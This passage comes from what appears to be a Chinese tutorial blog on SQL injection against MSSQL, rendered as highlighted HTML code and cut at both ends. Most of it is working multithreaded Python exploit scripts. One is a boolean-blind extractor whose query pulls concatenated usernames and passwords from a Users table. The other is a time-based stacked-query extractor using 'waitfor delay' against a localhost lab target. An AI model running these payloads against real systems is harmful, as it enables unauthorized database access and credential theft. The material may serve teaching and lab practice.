style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">select string_agg(concat(Username,'-',Password),'~') from Users</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> position </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">101</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    found</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">        \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">None</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    lock</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Lock</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Event</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> test_char</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        payload</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"admin' and substring((</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">),</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">position</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,1)='</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">' --+\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            response</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">params</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">username</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">local</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> response</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">text</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                with</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> lock</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">RequestException</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> chars</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Thread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">test_char</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        threads</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">append</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">t</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> len</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                break</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result</span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">读取结束</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        break</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/70.png\" class=\"\"></p>\n<h2 id=\"时间盲注-3\"><a class=\"anchor\" href=\"#时间盲注-3\">#</a> 时间盲注</h2>\n<p>时间盲注利用逻辑为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=admin';  if substring((select db_name()),1,1)='S' waitfor delay '0:0:5' --+</span></span></code></pre>\n<p>想要利用时间盲注的话只能采用堆叠注入，因为<code>waitfor delay</code>是语句及命令，不是函数</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/71.png\" class=\"\"></p>\n<p>探测脚本如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> time</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://localhost:5003/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">select db_name()</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threshold</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chars</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~!@#$%^&#x26;*()+[]-~?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> position </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">101</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    found</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">        \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">None</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    lock</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Lock</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Event</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> test_char</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        payload</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"admin'; if substring((</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">),</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">position</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,1)='</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">' waitfor delay '0:0:5' --+\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        start</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">time</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">perf_counter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            response</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">params</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">username</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            end</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">time</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">perf_counter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            cost</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">end </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> start</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cost 